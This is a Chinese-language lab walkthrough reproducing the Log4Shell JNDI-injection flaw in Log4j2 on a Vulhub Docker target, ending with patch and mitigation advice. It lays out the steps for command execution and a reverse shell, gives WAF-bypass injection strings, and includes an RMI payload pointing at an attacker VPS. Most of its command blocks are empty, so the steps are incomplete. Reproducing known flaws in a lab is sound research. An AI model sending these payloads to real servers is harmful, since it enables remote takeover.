漏洞复现 - Apache Log4j2 RCE (CVE-2021-44228)
本文最后更新于 2025年7月14日 下午
📌 简介
Log4j2 是 Java 生态中使用最广泛的日志框架之一。
CVE-2021-44228(俗称 Log4Shell)允许远程攻击者通过 JNDI 注入执行任意代码。
- 影响版本: 2.0-beta9 ~ 2.14.1
- 修复版本: >= 2.15.0
- 危害: RCE,完全控制目标服务器
🐳 靶场环境 - Vulhub
Vulhub 是一个基于 Docker 的漏洞测试平台。
快速启动:
1 |
|
访问:
1 |
|
示例页面:
⚙️ 漏洞复现
Step 1️⃣ - 启动 JNDIExploit 服务器
在公网(或内网互通)机器上,开启 JNDIExploit
工具:
1 |
|
-i
:监听 IP-l
:LDAP 服务端口(默认 1389,这里示例改为 11389)-p
:HTTP Payload 服务端口
Step 2️⃣ - 发送恶意 Payload
向目标服务发送含有 ${jndi:ldap://...}
的恶意数据。
示例:在 Header 里执行命令:
1 |
|
TomcatEcho
是 JNDIExploit 内置的命令执行 gadget。- 通过
cmd
参数,写要执行的系统命令。
Step 3️⃣ - 查看命令回显
在浏览器或 curl 中访问后,如果目标可用,将执行命令并回显在响应中。
示例:
1 |
|
命令执行效果:
Step 4️⃣ - 反弹 shell
开启本地监听:
1 |
|
发送反弹 shell Payload:
1 |
|
目标触发后,会连回你的监听端口,获取 shell。
⚠️ 常见绕过点
一些目标可能做了 WAF,拦截
${jndi:ldap://
,可尝试变体:1
${${::-j}${::-n}${::-d}${::-i}:ldap://...}
一些环境使用
rmi://
代替ldap://
也可尝试:1
${jndi:rmi://<VPS_IP>:1099/Exploit}
🛡️ 修复建议
✅ 官方修复方式:
升级 Log4j2 至
2.17.0
或以上。若暂时无法升级:
- 设置
log4j2.formatMsgNoLookups=true
- 移除
JndiLookup
类
1
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 设置
📌 参考链接
✅ 总结
Log4Shell 是影响范围极大的 RCE 漏洞,通过 JNDI 注入可实现远程命令执行甚至反弹 shell,
安全研究者可利用 Vulhub 快速搭建环境复现与分析。